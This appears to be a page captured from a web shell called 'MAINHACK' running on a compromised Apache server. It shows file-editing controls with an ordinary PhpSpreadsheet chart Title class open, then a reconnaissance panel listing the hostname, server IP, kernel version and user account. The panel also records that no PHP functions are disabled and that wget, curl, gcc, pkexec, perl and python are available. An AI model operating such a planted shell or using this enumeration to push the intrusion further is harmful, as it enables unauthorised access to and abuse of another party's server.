[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Title.php
<?php namespace PhpOffice\PhpSpreadsheet\Chart; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Style\Font; class Title { public const TITLE_CELL_REFERENCE = '/^(.*)!' // beginning of string, everything up to ! is match[1] . '[$]([A-Z]{1,3})' // absolute column string match[2] . '[$](\d{1,7})$/i'; // absolute row string match[3] /** * Title Caption. * * @var array<RichText|string>|RichText|string */ private array|RichText|string $caption; /** * Allow overlay of other elements? */ private bool $overlay = true; /** * Title Layout. */ private ?Layout $layout; private string $cellReference = ''; private ?Font $font = null; /** * Create a new Title. * * @param array<RichText|string>|RichText|string $caption */ public function __construct(array|RichText|string $caption = '', ?Layout $layout = null, bool $overlay = false) { $this->caption = $caption; $this->layout = $layout; $this->setOverlay($overlay); } /** * Get caption. * * @return array<RichText|string>|RichText|string */ public function getCaption(): array|RichText|string { return $this->caption; } public function getCaptionText(?Spreadsheet $spreadsheet = null): string { if ($spreadsheet !== null) { $caption = $this->getCalculatedTitle($spreadsheet); if ($caption !== null) { return $caption; } } $caption = $this->caption; if (is_string($caption)) { return $caption; } if ($caption instanceof RichText) { return $caption->getPlainText(); } $retVal = ''; foreach ($caption as $textx) { /** @var RichText|string $text */ $text = $textx; if ($text instanceof RichText) { $retVal .= $text->getPlainText(); } else { $retVal .= $text; } } return $retVal; } /** * Set caption. * * @param array<RichText|string>|RichText|string $caption * * @return $this */ public function setCaption(array|RichText|string $caption): static { $this->caption = $caption; return $this; } /** * Get allow overlay of other elements? */ public function getOverlay(): bool { return $this->overlay; } /** * Set allow overlay of other elements? */ public function setOverlay(bool $overlay): self { $this->overlay = $overlay; return $this; } public function getLayout(): ?Layout { return $this->layout; } public function setCellReference(string $cellReference): self { $this->cellReference = $cellReference; return $this; } public function getCellReference(): string { return $this->cellReference; } public function getCalculatedTitle(?Spreadsheet $spreadsheet): ?string { preg_match(self::TITLE_CELL_REFERENCE, $this->cellReference, $matches); if (count($matches) === 0 || $spreadsheet === null) { return null; } $sheetName = preg_replace("/^'(.*)'$/", '$1', $matches[1]) ?? ''; return $spreadsheet->getSheetByName($sheetName)?->getCell($matches[2] . $matches[3])?->getFormattedValue(); } public function getFont(): ?Font { return $this->font; } public function setFont(?Font $font): self { $this->font = $font; return $this; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $this->layout = ($this->layout === null) ? null : clone $this->layout; $this->font = ($this->font === null) ? null : clone $this->font; if (is_array($this->caption)) { $captions = []; foreach ($this->caption as $caption) { $captions[] = is_object($caption) ? (clone $caption) : $caption; } $this->caption = $captions; } else { $this->caption = is_object($this->caption) ? (clone $this->caption) : $this->caption; } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002